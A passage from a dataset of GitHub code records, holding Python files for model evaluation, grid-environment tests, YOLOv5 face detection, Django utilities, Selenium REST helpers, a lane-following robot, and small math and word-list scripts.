parser.parse_args()\n\ndevice=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nconf_path = Path(args.config)\nwith open(conf_path, 'r', encoding=\"utf-8\") as f:\n conf = yaml.safe_load(f)\nf.close()\n\nconf[\"save_dir\"] = Path(\"./eval_results\", f\"EVAL_{conf['save_exp_code']}\")\nconf[\"models_dir\"] = Path(conf[\"results_dir\"], conf[\"models_exp_code\"])\n\n\nos.makedirs(conf[\"save_dir\"], exist_ok=True)\n\n\nif conf[\"splits_dir\"] is None:\n conf[\"splits_dir\"] = Path(conf[\"models_dir\"])\n\nassert os.path.isdir(conf[\"models_dir\"])\nassert os.path.isdir(conf[\"splits_dir\"])\n\nsettings = {\n 'task': conf[\"task\"],\n 'split': conf[\"split\"],\n 'save_dir': conf[\"save_dir\"], \n 'models_dir': conf[\"models_dir\"],\n 'model_type': conf[\"model_type\"],\n 'drop_out': conf[\"drop_out\"],\n 'model_size': conf[\"model_size\"]\n}\n\nwith open(conf[\"save_dir\"] / f\"eval_experiment_{conf['save_exp_code']}.txt\", 'w') as f:\n print(settings, file=f)\nf.close()\n\nprint(settings)\ndataset= get_GenericMILdataset(\n label_csv_path=Path(conf[\"label_csv_path\"]),\n label_dict=conf[\"label_dict\"],\n taskname=conf[\"task\"],\n seed=conf[\"seed\"],\n data_root_dir=Path(conf[\"data_root_dir\"]),\n)\nn_classes = conf[\"n_classes\"]\n\nstart = 0 if conf[\"k_start\"] == -1 else conf[\"k_start\"]\nend = conf['k'] if conf[\"k_end\"] == -1 else conf[\"k_end\"]\n\nfolds = range(start, end) if conf[\"fold\"] == -1 else range(conf[\"fold\"], conf[\"fold\"]+1)\n\nckpt_paths = [Path(conf[\"models_dir\"], f\"s_{fold}_checkpoint.pt\") for fold in folds]\ndatasets_id = conf[\"datasets_id\"]\n\nif __name__ == \"__main__\":\n all_results = []\n all_auc = []\n all_acc = []\n for ckpt_idx in range(len(ckpt_paths)):\n if datasets_id[conf[\"split\"]] < 0:\n split_dataset = dataset\n else:\n datasets = dataset.return_splits(\n from_id=False,\n csv_path=f\"{conf['splits_dir']}/splits_{folds[ckpt_idx]}.csv\"\n )\n split_dataset = datasets[datasets_id[conf[\"split\"]]]\n model, patient_results, test_error, auc, df = eval(\n split_dataset,\n conf,\n ckpt_paths[ckpt_idx]\n )\n all_results.append(all_results)\n all_auc.append(auc)\n all_acc.append(1-test_error)\n save_path = conf[\"save_dir\"] /f\"fold_{folds[ckpt_idx]}.csv\"\n print(f\"save path: {save_path}\\n\\n\")\n df.to_csv(save_path, index=False)\n\n final_df = pd.DataFrame({\n 'folds': folds,\n 'test_auc': all_auc,\n 'test_acc': all_acc\n })\n\n if len(folds) != conf['k']:\n save_name = 'summary_partial_{}_{}.csv'.format(folds[0], folds[-1])\n else:\n save_name = 'summary.csv'\n \n final_df.to_csv(conf[\"save_dir\"] / save_name)\n","repo_name":"jsakaguc/clam_py10","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39692368727","text":"from math import sin\nfrom math import pi\nimport sympy\nimport requests\n\nreq = requests.get('https://dt.miet.ru/ppo_it_final', headers={'X-Auth-Token': '38xdyf6f'}).json()['message']\nprint(req)\n\n\ndef count_velocity(v_max, w_engine, weight):\n return v_max * (w_engine / 80) * (200 / weight)\n\n\ndef count_population_coefficient(temperature, oxygen):\n return sin(-pi / 2 + pi * (temperature + 0.5 * oxygen) / 40)\n\n\ndef count_new_population(population, coefficient):\n return population + coefficient * population\n\n\ndef count_needed_kp(now_pop, need_pop):\n return need_pop / now_pop - 1\n\n\ndef count_route_max_speed(points: dict) -> list:\n ox_all = []\n for element in points['points']:\n min_ = -1\n max_ = 1\n while abs(min_ - max_) > 0.00001:\n now = (min_ + max_) / 2\n now_weight = 200\n distance = element['distance']\n now_population = 8\n days = 0\n while distance > 0:\n v = count_velocity(2, 79, now_weight)\n now_weight += count_new_population(now_population, now) - now_population\n now_population = count_new_population(now_population, now)\n distance -= v\n days += 1\n\n if now_population < element['SH']:\n min_ = now\n elif now_population > element['SH']:\n max_ = now\n\n # print(days, now_population, now)\n\n need_k = now\n t = 5\n ox = sympy.Symbol('ox')\n eq_k = sympy.sin(-sympy.pi / 2 + sympy.pi * (t + 0.5 * ox) / 40) - need_k\n ox_now_ = min(sympy.solve(eq_k))\n ox_all.append(ox_now_)\n\n route = []\n for element in points['points']:\n fuel = 0\n now_weight = 200\n distance = element['distance']\n now_population = 8\n days = 0\n t_delta = (max(ox_all) - ox_all[points['points'].index(element)]) / 0.5\n w_omega = 79 - t_delta\n t = 5 + t_delta\n now = count_population_coefficient(t, min(ox_all))\n while distance > 0:\n v = count_velocity(2, w_omega, now_weight)\n now_weight += count_new_population(now_population, now) - now_population\n now_population = count_new_population(now_population, now)\n if now_population >= element['SH']:\n t = 1\n now = count_population_coefficient(t, min(ox_all))\n w_omega = 80\n distance -= v\n days += 1\n fuel += w_omega + t\n route.append({'ox': min(ox_all), 'sh': now_population, 'days': days,\n 'fuel': fuel, 'credits_need': round(min(ox_all) * 7 + fuel * 10)})\n return route\n\n\nfor i in range(len(req)):\n print(f'---------------route: {i}-----------------')\n print(*count_route_max_speed(req[i]), sep='\\n')\n print(f'------------------------------------------')\n","repo_name":"Cyber-Zhaba/CoolCase","sub_path":"modules/math_eq.py","file_name":"math_eq.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70900976146","text":"from typing import List\n\nimport pytest\n\nfrom gym_gridverse.geometry import Area, Orientation, Position, Shape\nfrom gym_gridverse.grid import Grid\nfrom gym_gridverse.grid_object import (\n Box,\n Color,\n Exit,\n Floor,\n GridObject,\n Hidden,\n Key,\n Wall,\n)\n\n\n@pytest.mark.parametrize(\n 'grid,expected',\n [\n (Grid.from_shape((3, 4)), Shape(3, 4)),\n (Grid.from_shape((4, 3)), Shape(4, 3)),\n (Grid.from_shape((5, 5)), Shape(5, 5)),\n ],\n)\ndef test_grid_shape(grid: Grid, expected: Shape):\n assert grid.shape == expected\n\n\n@pytest.mark.parametrize(\n 'grid,position,expected',\n [\n (Grid.from_shape((3, 4)), Position(0, 0), True),\n (Grid.from_shape((3, 4)), Position(2, 3), True),\n (Grid.from_shape((3, 4)), Position(-1, 0), False),\n (Grid.from_shape((3, 4)), Position(0, -1), False),\n (Grid.from_shape((3, 4)), Position(3, 3), False),\n (Grid.from_shape((3, 4)), Position(2, 4), False),\n ],\n)\ndef test_grid_contains(grid: Grid, position: Position, expected: bool):\n assert grid.area.contains(position) == expected\n\n\n@pytest.mark.parametrize(\n 'grid,expected',\n [\n (Grid.from_shape((3, 4)), 12),\n (Grid.from_shape((4, 5)), 20),\n ],\n)\ndef test_grid_positions_all(grid: Grid, expected: int):\n positions = set(grid.area.positions('all'))\n assert len(positions) == expected\n\n for position in positions:\n assert grid.area.contains(position)\n\n\n@pytest.mark.parametrize(\n 'grid,expected',\n [\n (Grid.from_shape((3, 4)), 10),\n (Grid.from_shape((4, 5)), 14),\n ],\n)\ndef test_grid_positions_border(grid: Grid, expected: int):\n positions = set(grid.area.positions('border'))\n assert len(positions) == expected\n\n for position in positions:\n assert grid.area.contains(position)\n\n\n@pytest.mark.parametrize(\n 'grid,expected',\n [\n (Grid.from_shape((3, 4)), 2),\n (Grid.from_shape((4, 5)), 6),\n ],\n)\ndef test_grid_positions_inside(grid: Grid, expected: int):\n positions = set(grid.area.positions('inside'))\n assert len(positions) == expected\n\n for position in positions:\n assert grid.area.contains(position)\n\n\ndef test_grid_object_types():\n grid = Grid.from_shape((3, 4))\n\n assert grid.object_types() == set([Floor])\n\n grid[0, 0] = Wall()\n assert grid.object_types() == set([Floor, Wall])\n\n grid[0, 0] = Exit()\n assert grid.object_types() == set([Floor, Exit])\n\n grid[1, 1] = Wall()\n assert grid.object_types() == set([Floor, Exit, Wall])\n\n\ndef test_grid_get_item():\n grid = Grid.from_shape((3, 4))\n\n pos = Position(0, 0)\n assert isinstance(grid[pos], Floor)\n assert grid[pos] is grid[pos]\n\n\ndef test_grid_set_item():\n grid = Grid.from_shape((3, 4))\n\n pos = Position(0, 0)\n obj = Floor()\n\n assert grid[pos] is not obj\n grid[pos] = obj\n assert grid[pos] is obj\n\n\ndef test_grid_swap():\n grid = Grid.from_shape((3, 4))\n\n # caching positions and objects before swap\n objects_before = {\n position: grid[position] for position in grid.area.positions()\n }\n\n pos1 = Position(0, 0)\n pos2 = Position(1, 1)\n grid.swap(pos1, pos2)\n\n # caching positions and objects after swap\n objects_after = {\n position: grid[position] for position in grid.area.positions()\n }\n\n # testing swapped objects\n assert objects_before[pos1] is objects_after[pos2]\n assert objects_before[pos2] is objects_after[pos1]\n\n # testing all other objects are the same\n for position in grid.area.positions():\n if position not in (pos1, pos2):\n assert objects_before[position] is objects_after[position]\n\n\n@pytest.mark.parametrize(\n 'area,expected_objects',\n [\n (\n Area((-1, 3), (-1, 4)),\n [\n [Hidden(), Hidden(), Hidden(), Hidden(), Hidden(), Hidden()],\n [Hidden(), Wall(), Floor(), Wall(), Floor(), Hidden()],\n [Hidden(), Floor(), Wall(), Floor(), Wall(), Hidden()],\n [Hidden(), Wall(), Floor(), Wall(), Floor(), Hidden()],\n [Hidden(), Hidden(), Hidden(), Hidden(), Hidden(), Hidden()],\n ],\n ),\n (Area((1, 1), (1, 2)), [[Wall(), Floor()]]),\n (\n Area((-1, 1), (-1, 1)),\n [\n [Hidden(), Hidden(), Hidden()],\n [Hidden(), Wall(), Floor()],\n [Hidden(), Floor(), Wall()],\n ],\n ),\n (\n Area((1, 3), (2, 4)),\n [\n [Floor(), Wall(), Hidden()],\n [Wall(), Floor(), Hidden()],\n [Hidden(), Hidden(), Hidden()],\n ],\n ),\n ],\n)\ndef test_grid_subgrid(area: Area, expected_objects: List[List[GridObject]]):\n # checkerboard pattern\n grid = Grid(\n [\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n ]\n )\n\n subgrid = grid.subgrid(area)\n expected = Grid(expected_objects)\n assert subgrid == expected\n\n\ndef test_grid_equality():\n \"\"\"A simple test that equality is not limited to just checking (first) objects\"\"\"\n\n grid_1 = Grid(\n [\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n ]\n )\n\n grid_2 = Grid(\n [\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n [Wall(), Floor(), Wall(), Floor()],\n ]\n )\n\n grid_3 = Grid(\n [\n [Wall(), Floor(), Wall(), Floor(), Floor()],\n [Floor(), Wall(), Floor(), Wall(), Floor()],\n [Wall(), Floor(), Wall(), Floor(), Floor()],\n ]\n )\n\n assert grid_1 != grid_2\n assert grid_2 != grid_1\n assert grid_1 != grid_3\n assert grid_3 != grid_1\n assert grid_2 != grid_3\n assert grid_3 != grid_2\n\n\n@pytest.mark.parametrize(\n 'objects',\n [\n [\n [Hidden(), Hidden(), Hidden(), Hidden(), Hidden(), Hidden()],\n [Hidden(), Wall(), Floor(), Wall(), Floor(), Hidden()],\n [Hidden(), Floor(), Wall(), Floor(), Wall(), Hidden()],\n [Hidden(), Wall(), Floor(), Wall(), Floor(), Hidden()],\n [Hidden(), Hidden(), Hidden(), Hidden(), Hidden(), Hidden()],\n ],\n [[Wall(), Floor()]],\n [\n [Hidden(), Hidden(), Hidden()],\n [Hidden(), Wall(), Floor()],\n [Hidden(), Floor(), Wall()],\n ],\n [\n [Floor(), Wall(), Hidden()],\n [Wall(), Floor(), Hidden()],\n [Hidden(), Hidden(), Hidden()],\n ],\n ],\n)\ndef test_grid_objects(objects):\n assert Grid(objects).objects == objects\n\n\ndef test_grid_subgrid_references():\n key = Key(Color.RED)\n box = Box(key)\n\n # weird scenario where the key is both in the box and outside the box,\n # only created to test references\n grid = Grid([[key, box]])\n\n subgrid = grid.subgrid(Area((0, 0), (0, 1)))\n key = subgrid[0, 0]\n box = subgrid[0, 1]\n assert box.content is key\n\n\n@pytest.mark.parametrize(\n 'orientation,expected_objects',\n [\n (\n Orientation.F,\n [\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n ],\n ),\n (\n Orientation.B,\n [\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n ],\n ),\n (\n Orientation.R,\n [\n [Floor(), Wall(), Floor()],\n [Wall(), Floor(), Wall()],\n [Floor(), Wall(), Floor()],\n [Wall(), Floor(), Wall()],\n ],\n ),\n (\n Orientation.L,\n [\n [Wall(), Floor(), Wall()],\n [Floor(), Wall(), Floor()],\n [Wall(), Floor(), Wall()],\n [Floor(), Wall(), Floor()],\n ],\n ),\n ],\n)\ndef test_grid_mul(\n orientation: Orientation, expected_objects: List[List[GridObject]]\n):\n # checkerboard pattern\n grid = Grid(\n [\n [Wall(), Floor(), Wall(), Floor()],\n [Floor(), Wall(), Floor(), Wall()],\n [Wall(), Floor(), Wall(), Floor()],\n ]\n )\n\n expected = Grid(expected_objects)\n assert grid * orientation == expected\n","repo_name":"abaisero/gym-gridverse","sub_path":"tests/test_grid.py","file_name":"test_grid.py","file_ext":"py","file_size_in_byte":8655,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"33231502662","text":"import os\nimport cv2\nimport torch\nimport numpy as np\n\nfrom simp.submodules.nofever.nofever.detection.yolov5.models.experimental import attempt_load\nfrom simp.submodules.nofever.nofever.detection.yolov5.utils.datasets import letterbox\nfrom simp.submodules.nofever.nofever.detection.yolov5.utils.general import (\n check_img_size, non_max_suppression, scale_coords, xyxy2xywh, plot_one_box)\nfrom simp.submodules.nofever.nofever.detection.yolov5.utils.torch_utils import select_device, time_synchronized\n\n\nclass YOLO(object):\n # Path to YOLOv5 weighs for facial features detection.\n WEIGHTS_FACE = 'weights/face_w_glasses_yolov5s_e300_default_hyp.pt'\n # Path to YOLOv5 weighs for mask status detection.\n # WEIGHTS_MASK = 'weights/mask_yolov5m_e300_evolved_hyp.pt'\n WEIGHTS_MASK = 'weights/RR_aug_e100_best.pt'\n # ratio from 0 to 1. Discards detection with confidence less than this value.\n DETECTION_CONFIDENCE_THRESHOLD = 0.20\n # ratio from 0 to 1. Discards detections with Intersection-over-Union less than this value.\n IOU_THRESHOLD = 0.6\n # Width/heiht of images. Predictor converts source images to this resolution (smaller -> faster, but less accurate)\n IMG_SIZE = 448\n\n def __init__(self, weights='far'):\n self.g_file_pt = os.path.dirname(__file__)\n\n if weights == 'far':\n self.weights = os.path.join(self.g_file_pt, self.WEIGHTS_FACE)\n elif weights == 'mask':\n self.weights = os.path.join(self.g_file_pt, self.WEIGHTS_MASK)\n else:\n err_msg1 = \"Requested keyword for parameter 'weights' is not identified. \\n\"\n err_msg2 = \"Requested keyword: '{}'. Available keywords: 'far', 'close', 'mask'.\".format(weights)\n raise ValueError(err_msg1 + err_msg2)\n # self.imgsz = 640\n self.model = None\n self.colors = None\n self.names = None\n self.device = ''\n self.half = None\n\n def load_yolov5(self):\n # device = 'cpu' or '0' or '0,1,2,3'\n self.device = select_device(self.device)\n self.half = self.device.type != 'cpu' # half precision only supported on CUDA\n # Load model\n self.model = attempt_load(self.weights, map_location=self.device) # load FP32 model\n if self.half:\n self.model.half() # to FP16\n\n # Get names and colors\n self.names = self.model.module.names if hasattr(self.model, 'module') else self.model.names\n self.colors = [[np.random.randint(0, 255) for _ in range(3)] for _ in range(len(self.names))]\n\n def predict(self, src_img, view_img=False, print_enabled=False):\n\n if src_img is None:\n return None\n\n imgsz = check_img_size(self.IMG_SIZE, s=self.model.stride.max())\n\n # Don't know how but these two lines make code faster-----\n img = torch.zeros((1, 3, imgsz, imgsz), device=self.device) # init img\n _ = self.model(img.half() if self.half else img) if self.device.type != 'cpu' else None\n # ----------------------------------------------------------------------\n\n img = letterbox(src_img, new_shape=imgsz)[0] # Padded resize\n\n # Convert\n img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416\n img = np.ascontiguousarray(img)\n img = torch.from_numpy(img).to(self.device)\n img = img.half() if self.half else img.float() # uint8 to fp16/32\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\n if img.ndimension() == 3:\n img = img.unsqueeze(0)\n\n # Inference\n t1 = time_synchronized()\n pred = self.model(img)[0]\n\n # Apply NMS\n pred = non_max_suppression(pred, conf_thres=self.DETECTION_CONFIDENCE_THRESHOLD, iou_thres=self.IOU_THRESHOLD)\n t2 = time_synchronized()\n\n all_detections = []\n for i, det in enumerate(pred):\n p = self.g_file_pt\n print_str = ''\n\n print_str += '%gx%g ' % img.shape[2:] # print string\n\n if det is not None and len(det):\n\n if print_enabled:\n # Print results\n for c in det[:, -1].unique():\n n = (det[:, -1] == c).sum() # detections per class\n print_str += '%g %ss, ' % (n, self.names[int(c)]) # add to string\n\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_coords(img.shape[2:], det[:, :4], src_img.shape).round()\n\n for *xyxy, conf, cls in det:\n xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4))).view(-1).tolist() # normalized xywh\n\n if print_enabled:\n print(('%g ' * 5) % (cls, *xywh))\n\n cls_cpu = int(cls.cpu().numpy().item()) # To get value from Tensor object located on CUDA\n conf_cpu = conf.cpu().numpy().item() # same as comment above\n conf_cpu = round(conf_cpu, 4)\n cls_name = self.names[int(cls)]\n one_detection = []\n one_detection.append(cls_cpu)\n one_detection.append(xywh)\n one_detection.append(conf_cpu)\n one_detection.append(cls_name)\n all_detections.append(one_detection)\n\n label = '%s %.2f' % (cls_name, conf)\n plot_one_box(xyxy, src_img, label=label, color=[255, 0, 0], line_thickness=2)\n if view_img:\n cv2.imshow(p, src_img)\n cv2.waitKey()\n cv2.destroyAllWindows()\n\n if print_enabled:\n # Print time (inference + NMS)\n print('%sDone. (%.3fs)' % (print_str, t2 - t1))\n\n # Returns list of sublists. Each sublist=[class_index, [bounding box data], confidence, label]\n return all_detections, src_img\n\n\ndef increase_brightness(img, value=30):\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n h, s, v = cv2.split(hsv)\n\n lim = 255 - value\n v[v > lim] = 255\n v[v <= lim] += value\n\n final_hsv = cv2.merge((h, s, v))\n img = cv2.cvtColor(final_hsv, cv2.COLOR_HSV2BGR)\n return img\n","repo_name":"eugenegalaxy/simp","sub_path":"simp/submodules/nofever/nofever/detection/yolov5/face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42989181684","text":"from rest_framework.pagination import PageNumberPagination\nfrom rest_framework.response import Response\n\n\ndef jwt_response_payload_handler(token, user=None, request=None):\n \"\"\"自定义jwt认证成功返回的数据\"\"\"\n return {\n 'token': token,\n 'id': user.id,\n 'username': user.username,\n }\n\n\nclass PageNumPagination(PageNumberPagination):\n\n page_size_query_param = 'pagesize'\n max_page_size = 10\n\n def get_paginated_response(self, data):\n\n return Response({\n 'count': self.page.paginator.count,\n 'lists': data,\n 'page': self.page.number, # 页码数\n 'pages': self.page.paginator.num_pages, # 总页数\n 'pagesize': self.max_page_size, # 每页记录数\n })\n\n","repo_name":"mossrs/zjsl","sub_path":"backend/apps/mg_admin/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32282747588","text":"import httplib, json, time\nfrom selenium.webdriver.common.action_chains import ActionChains\n\n\ndef _connect(url):\n url = url[7:] if url.startswith('http://') else url\n connection = httplib.HTTPConnection(url)\n return connection\n\n\ndef putRest(self, target, value):\n \"\"\"\n Selenium.prototype.doPutRest = function(url, data) {\n var jQuery = this.browserbot.getUserWindow().jQuery;\n jQuery.ajax({url: url, data: data, processData: false, \n contentType: 'application/json', async: false, type: 'put'});\n };\n \"\"\"\n connection = _connect(self.base_url)\n headers = {\"Content-type\": 'application/json'}\n connection.request('PUT', target, value, headers)\n assert connection.getresponse().status == 200\n\n\ndef postRest(self, target, value):\n connection = _connect(self.base_url)\n headers = {\"Content-type\": 'application/json'}\n connection.request('POST', target, value, headers)\n assert connection.getresponse().status == 200\n\n\ndef deleteRest(self, target, value):\n \"\"\"\n Selenium.prototype.doDeleteRest = function(url) {\n this.browserbot.getUserWindow().jQuery.ajax({url: url, async: false,\n type: 'delete'});\n };\n \"\"\"\n connection = _connect(self.base_url)\n connection.request('DELETE', target)\n assert connection.getresponse().status == 200\n \n \ndef assertGetRest(self, target, value):\n \"\"\" \n Selenium.prototype.assertGetRest = function(url, data) {\n var actualData = this.browserbot.getUserWindow().jQuery.ajax({url: url,\n async: false, type: 'get'}).responseText;\n var expectedData = this.browserbot.getUserWindow().jQuery.parsJSON(data);\n var actualData = this.browserbot.getUserWindow().jQuery.parseJSON(actualData);\n for (var key in expectedData) {\n if (expectedData[key] != actualData[key]) {\n throw new SeleniumError (key + \": actual value \" + actualValue + \n \" does not match expected value \" + expectedValue);\n };\n };\n }; \n \"\"\"\n connection = _connect(self.base_url)\n connection.request('GET', target)\n response = connection.getresponse()\n assert response.status == 200\n data = json.loads(response.read().strip('[]')) # do a strip because a json value is returned in a list if it is requested with parameters.\n expectedData = json.loads(value)\n for key in expectedData:\n if data[key] != expectedData[key]:\n raise AssertionError(\"%s: actual value %s does not match expected value %s\" \\\n % key, data[key], expectedData[key])\n \n \n\ndef assertTextContainedInEachElement(self, target, value):\n \"\"\"\n Selenium.prototype.assertTextContainedInEachElement = function(locator, text) {\n var doc = this.browserbot.getCurrentWindow().document;\n var elements = doc.evalutate(locator, doc, null, XPathResult.ANY_TYPE, null);\n var element = elements.iterateNext();\n while (element) {\n Assert.matches(\"true\", element.textContent.indexOf(text) != -1);\n element = elements.iterateNext();\n };\n };\n \"\"\"\n target_elems = self.driver.find_elements_by_xpath(target)\n for target_elem in target_elems:\n assert self._isContained(value, target_elem.text)\n\n \ndef verifyValidation(self, target, value):\n \"\"\"\n Selenium.prototype.doVerifyValidation = function(locator, expectedStatus) {\n try {\n numOfLoops++;\n //alert(numOfLoops);\n var expectedStatusArray = expectedStatus.split(\":\");\n var expectedAttributeValue = this.browserbot.getCurrentWindow().jQuery.\n trim(expectedStatusArray[0]);\n var expectedValidationMsg = this.browserbot.getCurrentWindow().jQuery.\n trim(expectedStatusArray[1]);\n var actualAttributeValue = this.getAttribute(locator + '@class');\n \n if (actualAttributeValue != expectedAttributeValue && numOfLoops <\n MAXNUMOFLOOPS) {\n NotWaitingForCondition = function() {\n return selenium.doVerifyValidation(locator, expectedStatus);\n };\n } else if (actualAttributeValue == expectedAttributeValue) {\n resetWaitParams();\n this.doMouseOver(locator);\n actualValidationMsg = this.getText('id=validationMsg');\n Assert.matches(actualValidationMsg, expectedValidationMsg);\n this.doMouseOut(locator);\n } else {\n resetWaitParams();\n Assert.matches(actualAttributeValue, expectedAttributeValue);\n };\n return false;\n // Errors are caught because selenium will be corrupted otherwise. The wait\n // parameters have to be reseted.\n } catch (e) {\n resetWaitParams();\n throw new SeleniumError(e);\n };\n };\n\n function ActionResult(terminationCondition) {\n this.terminationCondition = function() {\n return true;\n };\n };\n \n \n function NotWaitingForCondition() {\n return true;\n };\n \n var numOfLoops = 0;\n var MAXNUMOFLOOPS = 5;\n \n function resetWaitParams() {\n numOfLoops = 0;\n NotWaitingForCondition = function() {\n return true;\n };\n };\n \"\"\"\n expectedResult = value.split(':') if ':' in value else [value, ''] # e.g. 'w Error: Only integers allowed' or just 'w'\n expectedClassValue, expectedValidationMsg = expectedResult\n #self.waitForAttribute(target + '@class', expectedClassValue.strip())\n target_elem = self._find_target(target)\n assert expectedClassValue.strip() in target_elem.get_attribute('class')\n ActionChains(self.driver).move_to_element(target_elem).perform()\n self.waitForText('id=validationMsg', expectedValidationMsg.strip())\n ActionChains(self.driver).move_by_offset(target_elem.size[\"width\"] / 2 + 1, 0).perform()\n","repo_name":"stekie/selexe","sub_path":"selexe/userfunctions.py","file_name":"userfunctions.py","file_ext":"py","file_size_in_byte":5968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"20567875659","text":"import cv2\nfrom time import perf_counter, sleep\nfrom LaneDetection import getEdges, detectCapAndDirection, printLines\nfrom LaneComputation import findDeviationAndGap\nfrom SerialCom_LaneFollowing import MegaPi\n\nmegapi = MegaPi()\n\n#On connecte la caméra du Raspberry\ncamera = cv2.VideoCapture(0)\nori_h, ori_w = int(camera.get(cv2.CAP_PROP_FRAME_HEIGHT)), int(camera.get(cv2.CAP_PROP_FRAME_WIDTH))\nrescale = 60\nreth, retw = camera.set(cv2.CAP_PROP_FRAME_HEIGHT, ori_h*rescale//100), camera.set(cv2.CAP_PROP_FRAME_WIDTH, ori_w*rescale//100)\n\nh, w = int(camera.get(cv2.CAP_PROP_FRAME_HEIGHT)), int(camera.get(cv2.CAP_PROP_FRAME_WIDTH))\nimage_center = (w//2, h//2)\nrot_mat = cv2.getRotationMatrix2D(image_center, -123, 1.0)\n \nlast_time = perf_counter()\nlines = []\npont = False\ndroite = False\n\nwhile True :\n #On prend l'image de la caméra\n ret, frame = camera.read()\n if ret is False:\n break\n image = cv2.warpAffine(frame, rot_mat, (w, h), flags=cv2.INTER_LINEAR, borderValue=(255,255,255))\n \n #On mesure le temps écoulé depuis la dernière prise pour en déduire les fps, qu'on écrit sur l'image\n cur_time = perf_counter()\n fps = int(1/(cur_time-last_time))\n last_time = cur_time\n \n #On dessine la détection des lignes sur l'image\n edges = getEdges(image)\n lines_turnIndication = detectCapAndDirection(edges, 85*h//100, 70*h//100, lines)\n if lines_turnIndication is None :\n lines = []\n turnRight = False\n else :\n (lines, turnRight) = lines_turnIndication\n theta, eps = 0, 0\n if turnRight :\n theta = 100\n if len(lines) > 0 :\n printLines(image, lines[:2])\n theta, eps = findDeviationAndGap(lines[:2])\n eps -= 60\n \n cv2.putText(image, f\"FPS: {fps}, Theta: {theta}, Eps: {eps}\", (2, 10), cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.4, (0,0,255), 1)\n if pont :\n megapi.sendThetaEpsilonU(0, 0, 10)\n cv2.putText(image, \"PONT\", (2, 20), cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.4, (255,0,0), 1)\n elif droite :\n megapi.sendThetaEpsilonU(theta, eps, 20)\n cv2.putText(image, \"DROITE\", (2, 20), cv2.FONT_HERSHEY_COMPLEX_SMALL, 0.4, (255,0,0), 1)\n else :\n megapi.sendThetaEpsilonU(theta, eps, 10)\n \n #On affiche l'image, et si on appuie sur 'q', on quitte\n resized_image = cv2.resize(image, (ori_h, ori_w), interpolation = cv2.INTER_LINEAR)\n resized_edges = cv2.resize(edges, (ori_h, ori_w), interpolation = cv2.INTER_LINEAR)\n cv2.imshow(\"Image + lignes détectées\", resized_image)\n cv2.imshow(\"Contours\", resized_edges)\n\n \n key = cv2.waitKey(1)\n if key == ord('q') :\n break\n if key == ord('p') :\n pont = not(pont)\n if key == ord('d') :\n droite = not(droite)\n \n#On déconnecte la caméra du Raspberry et on ferme tous les affichages\ncamera.release()\ncv2.destroyAllWindows()\nmegapi.endCom()\n","repo_name":"SunboTax/Unirail","sub_path":"Robot/Movement/suivi_ligne/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29032229601","text":"import math\n\ndef sumOfPrimesBelowN(n: int) -> int:\n primes = [2]\n sum = 2\n current = 3\n while current < n:\n for prime in primes:\n if current % prime == 0:\n break\n if prime > math.sqrt(current):\n primes.append(current)\n sum += current\n break\n current += 2\n return sum\n\n\nprint(sumOfPrimesBelowN(2_000_000))\n","repo_name":"lesterfernandez/euler","sub_path":"p10_summation_of_primes.py","file_name":"p10_summation_of_primes.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1777558478","text":"import random\n\n\nclass WordList:\n def __init__(self):\n self.file_name = 'Resources/words.txt'\n self.array = []\n self.__open()\n\n def __nonblank_lines(self, f):\n for l in f:\n line = l.rstrip()\n if line:\n yield line\n\n def __open(self):\n with open(self.file_name, \"r\") as f_in:\n for line in self.__nonblank_lines(f_in):\n if line != \"\\n\" and line != \"\" and \"Day #\" not in line:\n self.array.append(line)\n # print (line)\n\n def get_random(self):\n array_size = len(self.array)\n # print (\"size: \", array_size)\n index = random.randint(0, array_size)\n # return index\n return self.array[index]\n\n\n# word_list = WordList()\n# print (word_list.get_random())","repo_name":"skident/TelegramBot","sub_path":"EnglishWords.py","file_name":"EnglishWords.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12150080267","text":"from django.test import TestCase\nfrom django.core.exceptions import ValidationError\n\nfrom incomewealth.app.serializers import (serialize_get_request,\n serialize_saving_capacity_request)\n\n\nclass SerializerTest(TestCase):\n\n def setUp(self):\n self.correct_request = {'init': 2010, 'end': 2012}\n self.wrong_request1 = {'init': 'mahmut', 'end': 2012}\n self.wrong_request2 = {'end': 2012}\n\n # terrible way to mock wsgi request using Exception!\n 